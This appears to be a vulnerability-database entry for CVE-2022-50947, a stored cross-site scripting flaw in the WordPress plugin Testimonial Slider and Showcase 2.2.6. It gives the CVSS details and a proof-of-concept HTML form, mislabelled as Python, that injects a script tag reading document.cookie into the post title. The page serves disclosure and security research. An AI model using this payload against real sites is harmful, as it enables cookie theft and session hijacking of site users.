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CVE-2022-50947 CVSS 6.4 MEDIUM

CVE-2022-50947

Published: 2026-05-10 13:16:33
Last Modified: 2026-05-12 14:24:15

Description

WordPress Plugin Testimonial Slider and Showcase 2.2.6 contains a stored cross-site scripting vulnerability that allows authenticated editors to inject malicious scripts by failing to sanitize the post_title parameter. Attackers with editor privileges can inject JavaScript payloads through the testimonial title field that execute in the browsers of users viewing the draft post, enabling cookie theft and session hijacking.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Testimonial Slider and Showcase <= 2.2.6

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2022-50947 Prerequisites: Valid Editor account on WordPress --> <form method="POST" action="http://target-wordpress-site/wp-admin/post.php"> <input type="hidden" name="post_type" value="testimonial"> <!-- Inject payload into post_title --> <input type="text" name="post_title" value='"><script>alert(document.cookie)</script><input type="hidden" name="' /> <input type="hidden" name="content" value="Test content"> <input type="submit" value="Submit"> </form>

References

Raw JSON Data

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